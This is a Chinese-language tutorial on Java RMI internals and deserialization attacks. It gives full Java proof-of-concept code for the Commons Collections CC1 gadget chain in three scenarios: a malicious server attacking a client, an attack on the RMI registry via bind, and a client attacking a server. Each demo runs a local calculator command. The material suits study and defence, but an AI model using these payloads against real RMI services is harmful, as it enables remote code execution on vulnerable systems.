java-RMI遠端呼叫2
RMI 客戶端與服務端呼叫過程
在前一篇文章中記錄了RMI的基礎知識,大家可以去參考:https://www.cnblogs.com/lalalaxiaoyuren/p/15988320.html
這裡我們重新回顧下RMI客戶端與服務端的呼叫過程!
RMI底層通訊採用了Stub(執行在客戶端)和Skeleton(執行在服務端)機制,RMI呼叫遠端方法的大致如下:
-
RMI客戶端在呼叫遠端方法時會先建立Stub(sun.rmi.registry.RegistryImpl_Stub)。
-
Stub會將Remote物件傳遞給遠端引用層(java.rmi.server.RemoteRef)並建立java.rmi.server.RemoteCall(遠端呼叫)物件。
-
RemoteCall序列化RMI服務名稱、Remote物件。
-
RMI客戶端的遠端引用層傳輸RemoteCall序列化後的請求資訊通過Socket連線的方式(傳輸層)傳輸到RMI服務端的遠端引用層。
-
RMI服務端的遠端引用層(sun.rmi.server.UnicastServerRef)收到請求會請求傳遞給Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
-
Skeleton呼叫RemoteCall反序列化RMI客戶端傳過來的序列化。
注:反序列化就是從這裡開始的,在RMI過程中,RMI服務端的遠端引用層(sun.rmi.server.UnicastServerRef)收到請求會傳遞給Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch),反序列化的操作實際是sun.rmi.registry.RegistryImpl_Skel#dispatch來進行處理
-
Skeleton處理客戶端請求:bind、list、lookup、rebind、unbind,如果是lookup則查詢RMI服務名繫結的介面物件,序列化該物件並通過RemoteCall傳輸到客戶端。
-
RMI客戶端反序列化服務端結果,獲取遠端物件的引用。
注:RMI客戶端能夠反序列化服務端的結果,那麼也註定了RMI客戶端上也能造成反序列化漏洞
-
RMI客戶端呼叫遠端方法,RMI服務端反射呼叫RMI服務實現類的對應方法並序列化執行結果返回給客戶端。注:這裡其實就說明了真正執行程式碼的地方並不是在客戶端而是在服務端,而客戶端程式碼的方法呼叫只不過是取得了資料
-
RMI客戶端反序列化RMI遠端方法呼叫結果。
服務端攻擊客戶端
服務端攻擊客戶端,這種是比較通用的攻擊情景
服務端飯回引數為Object物件,在RMI中,遠端呼叫方法傳遞回來的不一定是一個基礎資料型別(String、int),也有可能是物件,當服務端返回給客戶端一個物件時,客戶端就要對應的進行反序列化。所以我們需要偽造一個服務端,當客戶端呼叫某個遠端方法時,返回的引數是我們構造好的惡意物件。這裡以cc1為例
RMITest:
// RMITest
// 遠端介面,Remote物件的介面編寫,需要繼承Remote類
public interface RMITest extends Remote {
Object test() throws RemoteException;
}
RMITestImpl:
//RMITestImpl
// 遠端介面的實現類,實現定義的RMITest介面,繼承UnicastRemoteObject類(實現類中使用的物件必須都可序列化,即都繼承java.io.Serializable,但是如果實現類繼承了UnicastRemoteObject,UnicastRemoteObject該類中已經繼承了Serializable,所以就不用再寫一次了!)
public class RMITestImpl extends UnicastRemoteObject implements RMITest {
protected RMITestImpl() throws RemoteException {
super();
}
@Override
public Object test() throws RemoteException{
InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //建立第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //建立proxy物件
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}catch(Exception e){
e.printStackTrace();
}
return (Object)handler;
}
}
服務端:
//RMIServer.java
//1.開啟rmi服務,rmi://127.0.0.1:1099
//2.將RMITestImpl遠端物件註冊到Registry中,繫結遠端物件與對應的RMI服務名稱,即rmi://127.0.0.1:1099/rmiserver
public class RMIServer {
// RMI伺服器IP地址
public static final String RMI_HOST = "127.0.0.1";
// RMI服務埠
public static final int RMI_PORT = 1099;
// RMI服務名稱
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/rmiserver";
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 註冊RMI服務埠
LocateRegistry.createRegistry(RMI_PORT);
// 繫結對應的Remote物件(這裡就是你的RMITestImpl物件)
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);
}
}
客戶端:
//RMIClient.java
//客戶端需要找到對應的RMI服務端中的指定服務名稱,並請求遠端物件
//這裡尋找服務端的 rmi://127.0.0.1:1099/rmiserver 並返回物件remoteSub,呼叫該物件的test方法,實際呼叫的是服務端上遠端實現物件RMITestImpl的test方法,在客戶端本地執行
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
RMITest remoteSub = (RMITest) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("rmiserver");
remoteSub.test();
}
}
先開啟服務端,開啟RMI服務
接著開啟我們的客戶端,成功在客戶端執行命令,即服務端攻擊了客戶端
服務端/客戶端 攻擊註冊中心
開啟RMI服務端
public class RMIServer {
// RMI伺服器IP地址
public static final String RMI_HOST = "127.0.0.1";
// RMI服務埠
public static final int RMI_PORT = 1099;
// RMI服務名稱
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/rmiserver";
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 註冊RMI服務埠
LocateRegistry.createRegistry(RMI_PORT);
// 繫結對應的Remote物件(這裡就是你的RMITestImpl物件)
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);
}
}
偽造一個惡意的RMI服務端對註冊中心Registry進行bind函式操作的時候,這個時候就是在跟註冊中心Registry進行互動,雙方同樣也是通過序列化和反序列化進行資料的傳輸,那麼最後在註冊中心就會進行RegistryImpl_Skel觸發反序列化操作,從而進行命令執行
public class RMIExploitClient {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","sss");//左邊的值必須要是value
Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
try {
Constructor<?> constructor = null;
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("sa",remote); // bind註冊中心
} catch (Exception e) {
e.printStackTrace();
}
}
}
總結:
-
當客戶端呼叫遠端物件方法的時候一共進行了兩步操作:
- 要獲得對應的物件,客戶端需要先請求註冊中心拿到要呼叫的物件,首先客戶端會先請求註冊中心,接著註冊中心序列化對應的物件返回,然後客戶端接收到了進行反序列化
- 拿到了一個物件之後,繼續呼叫方法,這時候就是請求RMI服務端呼叫方法,接著服務端RMI進行序列化資料返回給客戶端,客戶端再反序列化獲得對應物件呼叫的方法的資料
-
RMI Registry就像⼀個⽹關,他⾃⼰是不會執⾏遠端⽅法的,但RMI Server可以在上⾯註冊⼀個Name到物件的繫結關係;
-
RMI Client通過Name向RMI Registry查詢,得到這個繫結關係,然後再連線RMIServer;
-
最後,遠端⽅法實際上在RMI Server上調⽤
客戶端攻擊服務端
遠端物件介面
public interface RMITest extends Remote {
String test(Object object) throws RemoteException;
}
遠端物件實現類,接收Object型別引數的遠端方法
public class RMITestImpl extends UnicastRemoteObject implements RMITest {
protected RMITestImpl() throws RemoteException {
super();
}
@Override
public String test(Object object) throws RemoteException{
System.out.println("Hello RMI");
return "Hello RMI";
}
}
服務端,RMI的服務端存在執行POP利用鏈的jar包
public class RMIServer {
// RMI伺服器IP地址
public static final String RMI_HOST = "127.0.0.1";
// RMI服務埠
public static final int RMI_PORT = 1099;
// RMI服務名稱
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/rmiserver";
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 註冊RMI服務埠
LocateRegistry.createRegistry(RMI_PORT);
// 繫結對應的Remote物件(這裡就是你的RMITestImpl物件)
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);
}
}
客戶端,我們的客戶端再把CC1鏈的payload作為test方法的引數進行傳送
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
RMITestImpl obj = new RMITestImpl();
RMITest remoteSub = (RMITest) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("rmiserver");
remoteSub.test(sendPayload());
}
public static Object sendPayload() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
// 定義需要執行的本地系統命令
String cmd = "open /System/Applications/Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 建立ChainedTransformer呼叫鏈物件
Transformer transformedChain = new ChainedTransformer(transformers);
// 建立Map物件
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap建立一個含有惡意呼叫鏈的Transformer類的Map物件
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 獲取AnnotationInvocationHandler類物件
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 獲取AnnotationInvocationHandler類的構造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformedMap);
return instance;
}
}
開啟服務端,rmi://127.0.0.1:1099/rmiserver
開啟客戶端,呼叫我們的遠端方法test(),實際在伺服器上執行,客戶端呼叫遠端實現類的test()方法,遠端執行類在服務端,服務端接受接收我們test(object),因為客戶端和服務端傳輸是序列化物件,在服務端會反序列化我們的object,服務端成功執行我們的系統命令
總結:
-
在RMI中物件是通過序列化方式進行編碼傳輸的
-
RMI服務端提供的方法,被呼叫的時候該方法是在服務端上進行執行的
-
實現RMI利用反序列化攻擊,需要滿足兩個條件:
a. 接收Object型別引數的遠端方法
b. RMI的服務端存在執行POP利用鏈的jar包